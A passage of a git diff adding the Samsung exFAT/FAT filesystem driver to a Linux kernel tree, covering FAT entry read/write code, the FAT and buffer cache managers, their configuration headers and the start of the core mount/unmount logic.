CLUSTER_32(~0); + return 0; + } else { + *content = CLUSTER_32(_content); + return 0; + } + } else if (p_fs->vol_type == FAT16) { + sec = p_fs->FAT1_start_sector + (loc >> (p_bd->sector_size_bits-1)); + off = (loc << 1) & p_bd->sector_size_mask; + + fat_sector = FAT_getblk(sb, sec); + if (!fat_sector) + return -1; + + fat_entry = &(fat_sector[off]); + + _content = GET16_A(fat_entry); + + _content &= 0x0000FFFF; + + if (_content >= CLUSTER_16(0xFFF8)) { + *content = CLUSTER_32(~0); + return 0; + } else { + *content = CLUSTER_32(_content); + return 0; + } + } else if (p_fs->vol_type == FAT32) { + sec = p_fs->FAT1_start_sector + (loc >> (p_bd->sector_size_bits-2)); + off = (loc << 2) & p_bd->sector_size_mask; + + fat_sector = FAT_getblk(sb, sec); + if (!fat_sector) + return -1; + + fat_entry = &(fat_sector[off]); + + _content = GET32_A(fat_entry); + + _content &= 0x0FFFFFFF; + + if (_content >= CLUSTER_32(0x0FFFFFF8)) { + *content = CLUSTER_32(~0); + return 0; + } else { + *content = CLUSTER_32(_content); + return 0; + } + } else { + sec = p_fs->FAT1_start_sector + (loc >> (p_bd->sector_size_bits-2)); + off = (loc << 2) & p_bd->sector_size_mask; + + fat_sector = FAT_getblk(sb, sec); + if (!fat_sector) + return -1; + + fat_entry = &(fat_sector[off]); + _content = GET32_A(fat_entry); + + if (_content >= CLUSTER_32(0xFFFFFFF8)) { + *content = CLUSTER_32(~0); + return 0; + } else { + *content = CLUSTER_32(_content); + return 0; + } + } + + *content = CLUSTER_32(~0); + return 0; +} /* end of __FAT_read */ + +static s32 __FAT_write(struct super_block *sb, u32 loc, u32 content) +{ + s32 off; + u32 sec; + u8 *fat_sector, *fat_entry; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + if (p_fs->vol_type == FAT12) { + + content &= 0x00000FFF; + + sec = p_fs->FAT1_start_sector + ((loc + (loc >> 1)) >> p_bd->sector_size_bits); + off = (loc + (loc >> 1)) & p_bd->sector_size_mask; + + fat_sector = FAT_getblk(sb, sec); + if (!fat_sector) + return -1; + + if (loc & 1) { /* odd */ + + content <<= 4; + + if (off == (p_bd->sector_size-1)) { + fat_sector[off] = (u8)(content | (fat_sector[off] & 0x0F)); + FAT_modify(sb, sec); + + fat_sector = FAT_getblk(sb, ++sec); + if (!fat_sector) + return -1; + + fat_sector[0] = (u8)(content >> 8); + } else { + fat_entry = &(fat_sector[off]); + content |= GET16(fat_entry) & 0x000F; + + SET16(fat_entry, content); + } + } else { /* even */ + fat_sector[off] = (u8)(content); + + if (off == (p_bd->sector_size-1)) { + fat_sector[off] = (u8)(content); + FAT_modify(sb, sec); + + fat_sector = FAT_getblk(sb, ++sec); + fat_sector[0] = (u8)((fat_sector[0] & 0xF0) | (content >> 8)); + } else { + fat_entry = &(fat_sector[off]); + content |= GET16(fat_entry) & 0xF000; + + SET16(fat_entry, content); + } + } + } + + else if (p_fs->vol_type == FAT16) { + + content &= 0x0000FFFF; + + sec = p_fs->FAT1_start_sector + (loc >> (p_bd->sector_size_bits-1)); + off = (loc << 1) & p_bd->sector_size_mask; + + fat_sector = FAT_getblk(sb, sec); + if (!fat_sector) + return -1; + + fat_entry = &(fat_sector[off]); + + SET16_A(fat_entry, content); + } + + else if (p_fs->vol_type == FAT32) { + + content &= 0x0FFFFFFF; + + sec = p_fs->FAT1_start_sector + (loc >> (p_bd->sector_size_bits-2)); + off = (loc << 2) & p_bd->sector_size_mask; + + fat_sector = FAT_getblk(sb, sec); + if (!fat_sector) + return -1; + + fat_entry = &(fat_sector[off]); + + content |= GET32_A(fat_entry) & 0xF0000000; + + SET32_A(fat_entry, content); + } + + else { /* p_fs->vol_type == EXFAT */ + + sec = p_fs->FAT1_start_sector + (loc >> (p_bd->sector_size_bits-2)); + off = (loc << 2) & p_bd->sector_size_mask; + + fat_sector = FAT_getblk(sb, sec); + if (!fat_sector) + return -1; + + fat_entry = &(fat_sector[off]); + + SET32_A(fat_entry, content); + } + + FAT_modify(sb, sec); + return 0; +} /* end of __FAT_write */ + +u8 *FAT_getblk(struct super_block *sb, u32 sec) +{ + BUF_CACHE_T *bp; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + bp = FAT_cache_find(sb, sec); + if (bp != NULL) { + move_to_mru(bp, &p_fs->FAT_cache_lru_list); + return bp->buf_bh->b_data; + } + + bp = FAT_cache_get(sb, sec); + + FAT_cache_remove_hash(bp); + + bp->drv = p_fs->drv; + bp->sec = sec; + bp->flag = 0; + + FAT_cache_insert_hash(sb, bp); + + if (sector_read(sb, sec, &(bp->buf_bh), 1) != FFS_SUCCESS) { + FAT_cache_remove_hash(bp); + bp->drv = -1; + bp->sec = ~0; + bp->flag = 0; + bp->buf_bh = NULL; + + move_to_lru(bp, &p_fs->FAT_cache_lru_list); + return NULL; + } + + return bp->buf_bh->b_data; +} /* end of FAT_getblk */ + +void FAT_modify(struct super_block *sb, u32 sec) +{ + BUF_CACHE_T *bp; + + bp = FAT_cache_find(sb, sec); + if (bp != NULL) + sector_write(sb, sec, bp->buf_bh, 0); +} /* end of FAT_modify */ + +void FAT_release_all(struct super_block *sb) +{ + BUF_CACHE_T *bp; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + sm_P(&f_sem); + + bp = p_fs->FAT_cache_lru_list.next; + while (bp != &p_fs->FAT_cache_lru_list) { + if (bp->drv == p_fs->drv) { + bp->drv = -1; + bp->sec = ~0; + bp->flag = 0; + + if (bp->buf_bh) { + __brelse(bp->buf_bh); + bp->buf_bh = NULL; + } + } + bp = bp->next; + } + + sm_V(&f_sem); +} /* end of FAT_release_all */ + +void FAT_sync(struct super_block *sb) +{ + BUF_CACHE_T *bp; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + sm_P(&f_sem); + + bp = p_fs->FAT_cache_lru_list.next; + while (bp != &p_fs->FAT_cache_lru_list) { + if ((bp->drv == p_fs->drv) && (bp->flag & DIRTYBIT)) { + sync_dirty_buffer(bp->buf_bh); + bp->flag &= ~(DIRTYBIT); + } + bp = bp->next; + } + + sm_V(&f_sem); +} /* end of FAT_sync */ + +static BUF_CACHE_T *FAT_cache_find(struct super_block *sb, u32 sec) +{ + s32 off; + BUF_CACHE_T *bp, *hp; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + off = (sec + (sec >> p_fs->sectors_per_clu_bits)) & (FAT_CACHE_HASH_SIZE - 1); + + hp = &(p_fs->FAT_cache_hash_list[off]); + for (bp = hp->hash_next; bp != hp; bp = bp->hash_next) { + if ((bp->drv == p_fs->drv) && (bp->sec == sec)) { + + WARN(!bp->buf_bh, "[EXFAT] FAT_cache has no bh. " + "It will make system panic.\n"); + + touch_buffer(bp->buf_bh); + return bp; + } + } + return NULL; +} /* end of FAT_cache_find */ + +static BUF_CACHE_T *FAT_cache_get(struct super_block *sb, u32 sec) +{ + BUF_CACHE_T *bp; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + bp = p_fs->FAT_cache_lru_list.prev; + + + move_to_mru(bp, &p_fs->FAT_cache_lru_list); + return bp; +} /* end of FAT_cache_get */ + +static void FAT_cache_insert_hash(struct super_block *sb, BUF_CACHE_T *bp) +{ + s32 off; + BUF_CACHE_T *hp; + FS_INFO_T *p_fs; + + p_fs = &(EXFAT_SB(sb)->fs_info); + off = (bp->sec + (bp->sec >> p_fs->sectors_per_clu_bits)) & (FAT_CACHE_HASH_SIZE-1); + + hp = &(p_fs->FAT_cache_hash_list[off]); + bp->hash_next = hp->hash_next; + bp->hash_prev = hp; + hp->hash_next->hash_prev = bp; + hp->hash_next = bp; +} /* end of FAT_cache_insert_hash */ + +static void FAT_cache_remove_hash(BUF_CACHE_T *bp) +{ + (bp->hash_prev)->hash_next = bp->hash_next; + (bp->hash_next)->hash_prev = bp->hash_prev; +} /* end of FAT_cache_remove_hash */ + +/*======================================================================*/ +/* Buffer Read/Write Functions */ +/*======================================================================*/ + +u8 *buf_getblk(struct super_block *sb, u32 sec) +{ + u8 *buf; + + sm_P(&b_sem); + + buf = __buf_getblk(sb, sec); + + sm_V(&b_sem); + + return buf; +} /* end of buf_getblk */ + +static u8 *__buf_getblk(struct super_block *sb, u32 sec) +{ + BUF_CACHE_T *bp; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + bp = buf_cache_find(sb, sec); + if (bp != NULL) { + move_to_mru(bp, &p_fs->buf_cache_lru_list); + return bp->buf_bh->b_data; + } + + bp = buf_cache_get(sb, sec); + + buf_cache_remove_hash(bp); + + bp->drv = p_fs->drv; + bp->sec = sec; + bp->flag = 0; + + buf_cache_insert_hash(sb, bp); + + if (sector_read(sb, sec, &(bp->buf_bh), 1) != FFS_SUCCESS) { + buf_cache_remove_hash(bp); + bp->drv = -1; + bp->sec = ~0; + bp->flag = 0; + bp->buf_bh = NULL; + + move_to_lru(bp, &p_fs->buf_cache_lru_list); + return NULL; + } + + return bp->buf_bh->b_data; + +} /* end of __buf_getblk */ + +void buf_modify(struct super_block *sb, u32 sec) +{ + BUF_CACHE_T *bp; + + sm_P(&b_sem); + + bp = buf_cache_find(sb, sec); + if (likely(bp != NULL)) + sector_write(sb, sec, bp->buf_bh, 0); + + WARN(!bp, "[EXFAT] failed to find buffer_cache(sector:%u).\n", sec); + + sm_V(&b_sem); +} /* end of buf_modify */ + +void buf_lock(struct super_block *sb, u32 sec) +{ + BUF_CACHE_T *bp; + + sm_P(&b_sem); + + bp = buf_cache_find(sb, sec); + if (likely(bp != NULL)) + bp->flag |= LOCKBIT; + + WARN(!bp, "[EXFAT] failed to find buffer_cache(sector:%u).\n", sec); + + sm_V(&b_sem); +} /* end of buf_lock */ + +void buf_unlock(struct super_block *sb, u32 sec) +{ + BUF_CACHE_T *bp; + + sm_P(&b_sem); + + bp = buf_cache_find(sb, sec); + if (likely(bp != NULL)) + bp->flag &= ~(LOCKBIT); + + WARN(!bp, "[EXFAT] failed to find buffer_cache(sector:%u).\n", sec); + + sm_V(&b_sem); +} /* end of buf_unlock */ + +void buf_release(struct super_block *sb, u32 sec) +{ + BUF_CACHE_T *bp; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + sm_P(&b_sem); + + bp = buf_cache_find(sb, sec); + if (likely(bp != NULL)) { + bp->drv = -1; + bp->sec = ~0; + bp->flag = 0; + + if (bp->buf_bh) { + __brelse(bp->buf_bh); + bp->buf_bh = NULL; + } + + move_to_lru(bp, &p_fs->buf_cache_lru_list); + } + + sm_V(&b_sem); +} /* end of buf_release */ + +void buf_release_all(struct super_block *sb) +{ + BUF_CACHE_T *bp; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + sm_P(&b_sem); + + bp = p_fs->buf_cache_lru_list.next; + while (bp != &p_fs->buf_cache_lru_list) { + if (bp->drv == p_fs->drv) { + bp->drv = -1; + bp->sec = ~0; + bp->flag = 0; + + if (bp->buf_bh) { + __brelse(bp->buf_bh); + bp->buf_bh = NULL; + } + } + bp = bp->next; + } + + sm_V(&b_sem); +} /* end of buf_release_all */ + +void buf_sync(struct super_block *sb) +{ + BUF_CACHE_T *bp; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + sm_P(&b_sem); + + bp = p_fs->buf_cache_lru_list.next; + while (bp != &p_fs->buf_cache_lru_list) { + if ((bp->drv == p_fs->drv) && (bp->flag & DIRTYBIT)) { + sync_dirty_buffer(bp->buf_bh); + bp->flag &= ~(DIRTYBIT); + } + bp = bp->next; + } + + sm_V(&b_sem); +} /* end of buf_sync */ + +static BUF_CACHE_T *buf_cache_find(struct super_block *sb, u32 sec) +{ + s32 off; + BUF_CACHE_T *bp, *hp; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + off = (sec + (sec >> p_fs->sectors_per_clu_bits)) & (BUF_CACHE_HASH_SIZE - 1); + + hp = &(p_fs->buf_cache_hash_list[off]); + for (bp = hp->hash_next; bp != hp; bp = bp->hash_next) { + if ((bp->drv == p_fs->drv) && (bp->sec == sec)) { + touch_buffer(bp->buf_bh); + return bp; + } + } + return NULL; +} /* end of buf_cache_find */ + +static BUF_CACHE_T *buf_cache_get(struct super_block *sb, u32 sec) +{ + BUF_CACHE_T *bp; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + bp = p_fs->buf_cache_lru_list.prev; + while (bp->flag & LOCKBIT) + bp = bp->prev; + + + move_to_mru(bp, &p_fs->buf_cache_lru_list); + return bp; +} /* end of buf_cache_get */ + +static void buf_cache_insert_hash(struct super_block *sb, BUF_CACHE_T *bp) +{ + s32 off; + BUF_CACHE_T *hp; + FS_INFO_T *p_fs; + + p_fs = &(EXFAT_SB(sb)->fs_info); + off = (bp->sec + (bp->sec >> p_fs->sectors_per_clu_bits)) & (BUF_CACHE_HASH_SIZE-1); + + hp = &(p_fs->buf_cache_hash_list[off]); + bp->hash_next = hp->hash_next; + bp->hash_prev = hp; + hp->hash_next->hash_prev = bp; + hp->hash_next = bp; +} /* end of buf_cache_insert_hash */ + +static void buf_cache_remove_hash(BUF_CACHE_T *bp) +{ + (bp->hash_prev)->hash_next = bp->hash_next; + (bp->hash_next)->hash_prev = bp->hash_prev; +} /* end of buf_cache_remove_hash */ + +/*======================================================================*/ +/* Local Function Definitions */ +/*======================================================================*/ + +static void push_to_mru(BUF_CACHE_T *bp, BUF_CACHE_T *list) +{ + bp->next = list->next; + bp->prev = list; + list->next->prev = bp; + list->next = bp; +} /* end of buf_cache_push_to_mru */ + +static void push_to_lru(BUF_CACHE_T *bp, BUF_CACHE_T *list) +{ + bp->prev = list->prev; + bp->next = list; + list->prev->next = bp; + list->prev = bp; +} /* end of buf_cache_push_to_lru */ + +static void move_to_mru(BUF_CACHE_T *bp, BUF_CACHE_T *list) +{ + bp->prev->next = bp->next; + bp->next->prev = bp->prev; + push_to_mru(bp, list); +} /* end of buf_cache_move_to_mru */ + +static void move_to_lru(BUF_CACHE_T *bp, BUF_CACHE_T *list) +{ + bp->prev->next = bp->next; + bp->next->prev = bp->prev; + push_to_lru(bp, list); +} /* end of buf_cache_move_to_lru */ diff --git a/fs/exfat/exfat_cache.h b/fs/exfat/exfat_cache.h new file mode 100644 index 0000000000000..d82aad58fa644 --- /dev/null +++ b/fs/exfat/exfat_cache.h @@ -0,0 +1,85 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_cache.h */ +/* PURPOSE : Header File for exFAT Cache Manager */ +/* (FAT Cache & Buffer Cache) */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Sung-Kwan Kim] : first writing */ +/* */ +/************************************************************************/ + +#ifndef _EXFAT_CACHE_H +#define _EXFAT_CACHE_H + +#include +#include +#include "exfat_config.h" + +/*----------------------------------------------------------------------*/ +/* Constant & Macro Definitions */ +/*----------------------------------------------------------------------*/ + +#define LOCKBIT 0x01 +#define DIRTYBIT 0x02 + +/*----------------------------------------------------------------------*/ +/* Type Definitions */ +/*----------------------------------------------------------------------*/ + +typedef struct __BUF_CACHE_T { + struct __BUF_CACHE_T *next; + struct __BUF_CACHE_T *prev; + struct __BUF_CACHE_T *hash_next; + struct __BUF_CACHE_T *hash_prev; + s32 drv; + u32 sec; + u32 flag; + struct buffer_head *buf_bh; +} BUF_CACHE_T; + +/*----------------------------------------------------------------------*/ +/* External Function Declarations */ +/*----------------------------------------------------------------------*/ + +s32 buf_init(struct super_block *sb); +s32 buf_shutdown(struct super_block *sb); +s32 FAT_read(struct super_block *sb, u32 loc, u32 *content); +s32 FAT_write(struct super_block *sb, u32 loc, u32 content); +u8 *FAT_getblk(struct super_block *sb, u32 sec); +void FAT_modify(struct super_block *sb, u32 sec); +void FAT_release_all(struct super_block *sb); +void FAT_sync(struct super_block *sb); +u8 *buf_getblk(struct super_block *sb, u32 sec); +void buf_modify(struct super_block *sb, u32 sec); +void buf_lock(struct super_block *sb, u32 sec); +void buf_unlock(struct super_block *sb, u32 sec); +void buf_release(struct super_block *sb, u32 sec); +void buf_release_all(struct super_block *sb); +void buf_sync(struct super_block *sb); + +#endif /* _EXFAT_CACHE_H */ diff --git a/fs/exfat/exfat_config.h b/fs/exfat/exfat_config.h new file mode 100644 index 0000000000000..33c6525e449bd --- /dev/null +++ b/fs/exfat/exfat_config.h @@ -0,0 +1,69 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_config.h */ +/* PURPOSE : Header File for exFAT Configuable Policies */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#ifndef _EXFAT_CONFIG_H +#define _EXFAT_CONFIG_H + +/*======================================================================*/ +/* */ +/* FFS CONFIGURATIONS */ +/* (CHANGE THIS PART IF REQUIRED) */ +/* */ +/*======================================================================*/ + +/*----------------------------------------------------------------------*/ +/* Feature Config */ +/*----------------------------------------------------------------------*/ +#ifndef CONFIG_EXFAT_DISCARD +#define CONFIG_EXFAT_DISCARD 1 /* mount option -o discard support */ +#endif + +#ifndef CONFIG_EXFAT_DELAYED_SYNC +#define CONFIG_EXFAT_DELAYED_SYNC 0 +#endif + +#ifndef CONFIG_EXFAT_KERNEL_DEBUG +#define CONFIG_EXFAT_KERNEL_DEBUG 1 /* kernel debug features via ioctl */ +#endif + +#ifndef CONFIG_EXFAT_DEBUG_MSG +#define CONFIG_EXFAT_DEBUG_MSG 0 /* debugging message on/off */ +#endif + +#ifndef CONFIG_EXFAT_DEFAULT_CODEPAGE +#define CONFIG_EXFAT_DEFAULT_CODEPAGE 437 +#define CONFIG_EXFAT_DEFAULT_IOCHARSET "utf8" +#endif + +#endif /* _EXFAT_CONFIG_H */ diff --git a/fs/exfat/exfat_core.c b/fs/exfat/exfat_core.c new file mode 100644 index 0000000000000..d48514189f5b7 --- /dev/null +++ b/fs/exfat/exfat_core.c @@ -0,0 +1,5114 @@ +/* Some of the source code in this file came from "linux/fs/fat/misc.c". */ +/* + * linux/fs/fat/misc.c + * + * Written 1992,1993 by Werner Almesberger + * 22/11/2000 - Fixed fat_date_unix2dos for dates earlier than 01/01/1980 + * and date_dos2unix for date==0 by Igor Zhbanov(bsg@uniyar.ac.ru) + */ + +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_core.c */ +/* PURPOSE : exFAT File Manager */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#include +#include +#include + +#include "exfat_bitmap.h" +#include "exfat_config.h" +#include "exfat_data.h" +#include "exfat_oal.h" +#include "exfat_blkdev.h" +#include "exfat_cache.h" +#include "exfat_nls.h" +#include "exfat_api.h" +#include "exfat_super.h" +#include "exfat_core.h" + +#include + +static void __set_sb_dirty(struct super_block *sb) +{ +#if LINUX_VERSION_CODE < KERNEL_VERSION(3,7,0) + sb->s_dirt = 1; +#else + struct exfat_sb_info *sbi = EXFAT_SB(sb); + sbi->s_dirt = 1; +#endif +} + +/*----------------------------------------------------------------------*/ +/* Global Variable Definitions */ +/*----------------------------------------------------------------------*/ + +extern u8 uni_upcase[]; + +/*----------------------------------------------------------------------*/ +/* Local Variable Definitions */ +/*----------------------------------------------------------------------*/ + +static u8 name_buf[MAX_PATH_LENGTH * MAX_CHARSET_SIZE]; + +static char *reserved_names[] = { + "AUX ", "CON ", "NUL ", "PRN ", + "COM1 ", "COM2 ", "COM3 ", "COM4 ", + "COM5 ", "COM6 ", "COM7 ", "COM8 ", "COM9 ", + "LPT1 ", "LPT2 ", "LPT3 ", "LPT4 ", + "LPT5 ", "LPT6 ", "LPT7 ", "LPT8 ", "LPT9 ", + NULL +}; + +static u8 free_bit[] = { + 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 4, 0, 1, 0, 2, /* 0 ~ 19 */ + 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 5, 0, 1, 0, 2, 0, 1, 0, 3, /* 20 ~ 39 */ + 0, 1, 0, 2, 0, 1, 0, 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, /* 40 ~ 59 */ + 0, 1, 0, 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 4, /* 60 ~ 79 */ + 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 5, 0, 1, 0, 2, /* 80 ~ 99 */ + 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 4, 0, 1, 0, 2, 0, 1, 0, 3, /* 100 ~ 119 */ + 0, 1, 0, 2, 0, 1, 0, 7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, /* 120 ~ 139 */ + 0, 1, 0, 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 5, /* 140 ~ 159 */ + 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 4, 0, 1, 0, 2, /* 160 ~ 179 */ + 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 6, 0, 1, 0, 2, 0, 1, 0, 3, /* 180 ~ 199 */ + 0, 1, 0, 2, 0, 1, 0, 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, /* 200 ~ 219 */ + 0, 1, 0, 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 4, /* 220 ~ 239 */ + 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0 /* 240 ~ 254 */ +}; + +static u8 used_bit[] = { + 0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4, 1, 2, 2, 3, /* 0 ~ 19 */ + 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 1, 2, 2, 3, 2, 3, 3, 4, /* 20 ~ 39 */ + 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, /* 40 ~ 59 */ + 4, 5, 5, 6, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, /* 60 ~ 79 */ + 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 2, 3, 3, 4, /* 80 ~ 99 */ + 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, /* 100 ~ 119 */ + 4, 5, 5, 6, 5, 6, 6, 7, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, /* 120 ~ 139 */ + 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, /* 140 ~ 159 */ + 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 3, 4, 4, 5, /* 160 ~ 179 */ + 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 2, 3, 3, 4, 3, 4, 4, 5, /* 180 ~ 199 */ + 3, 4, 4, 5, 4, 5, 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, /* 200 ~ 219 */ + 5, 6, 6, 7, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, /* 220 ~ 239 */ + 4, 5, 5, 6, 5, 6, 6, 7, 5, 6, 6, 7, 6, 7, 7, 8 /* 240 ~ 255 */ +}; + +/*======================================================================*/ +/* Global Function Definitions */ +/*======================================================================*/ + +/* ffsInit : roll back to the initial state of the file system */ +s32 ffsInit(void) +{ + s32 ret; + + ret = bdev_init(); + if (ret) + return ret; + + ret = fs_init(); + if (ret) + return ret; + + return FFS_SUCCESS; +} /* end of ffsInit */ + +/* ffsShutdown : make free all memory-alloced global buffers */ +s32 ffsShutdown(void) +{ + s32 ret; + ret = fs_shutdown(); + if (ret) + return ret; + + ret = bdev_shutdown(); + if (ret) + return ret; + + return FFS_SUCCESS; +} /* end of ffsShutdown */ + +/* ffsMountVol : mount the file system volume */ +s32 ffsMountVol(struct super_block *sb) +{ + int i, ret; + PBR_SECTOR_T *p_pbr; + struct buffer_head *tmp_bh = NULL; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + printk("[EXFAT] trying to mount...\n"); + + sm_init(&p_fs->v_sem); + p_fs->dev_ejected = FALSE; + + /* open the block device */ + if (bdev_open(sb)) + return FFS_MEDIAERR; + + if (p_bd->sector_size < sb->s_blocksize) + return FFS_MEDIAERR; + if (p_bd->sector_size > sb->s_blocksize) + sb_set_blocksize(sb, p_bd->sector_size); + + /* read Sector 0 */ + if (sector_read(sb, 0, &tmp_bh, 1) != FFS_SUCCESS) + return FFS_MEDIAERR; + + p_fs->PBR_sector = 0; + + p_pbr = (PBR_SECTOR_T *) tmp_bh->b_data; + + /* check the validity of PBR */ + if (GET16_A(p_pbr->signature) != PBR_SIGNATURE) { + brelse(tmp_bh); + bdev_close(sb); + return FFS_FORMATERR; + } + + /* fill fs_stuct */ + for (i = 0; i < 53; i++) + if (p_pbr->bpb[i]) + break; + + if (i < 53) { + if (GET16(p_pbr->bpb+11)) /* num_fat_sectors */ + ret = fat16_mount(sb, p_pbr); + else + ret = fat32_mount(sb, p_pbr); + } else { + ret = exfat_mount(sb, p_pbr); + } + + brelse(tmp_bh); + + if (ret) { + bdev_close(sb); + return ret; + } + + if (p_fs->vol_type == EXFAT) { + ret = load_alloc_bitmap(sb); + if (ret) { + bdev_close(sb); + return ret; + } + ret = load_upcase_table(sb); + if (ret) { + free_alloc_bitmap(sb); + bdev_close(sb); + return ret; + } + } + + if (p_fs->dev_ejected) { + if (p_fs->vol_type == EXFAT) { + free_upcase_table(sb); + free_alloc_bitmap(sb); + } + bdev_close(sb); + return FFS_MEDIAERR; + } + + printk("[EXFAT] mounted successfully\n"); + + return FFS_SUCCESS; +} /* end of ffsMountVol */ + +/* ffsUmountVol : umount the file system volume */ +s32 ffsUmountVol(struct super_block *sb) +{ + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + printk("[EXFAT] trying to unmount...\n"); + + fs_sync(sb, 0); + fs_set_vol_flags(sb, VOL_CLEAN); + + if (p_fs->vol_type == EXFAT) { + free_upcase_table(sb); + free_alloc_bitmap(sb); + } + + FAT_release_all(sb); + buf_release_all(sb); + + /* close the block device */ + bdev_close(sb); + + if (p_fs->dev_ejected) { + printk("[EXFAT] unmounted with media errors. " + "device's already ejected.\n"); + return FFS_MEDIAERR; + } + + printk("[EXFAT] unmounted successfully\n"); + + return FFS_SUCCESS; +} /* end of ffsUmountVol */ + +/* ffsGetVolInfo : get the information of a file system volume */ +s32 ffsGetVolInfo(struct super_block *sb, VOL_INFO_T *info) +{ + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + if (p_fs->used_clusters == (u32) ~0) + p_fs->used_clusters = p_fs->fs_func->count_used_clusters(sb); + + info->FatType = p_fs->vol_type; + info->ClusterSize = p_fs->cluster_size; + info->NumClusters = p_fs->num_clusters - 2; /* clu 0 & 1 */ + info->UsedClusters = p_fs->used_clusters; + info->FreeClusters = info->NumClusters - info->UsedClusters; + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return 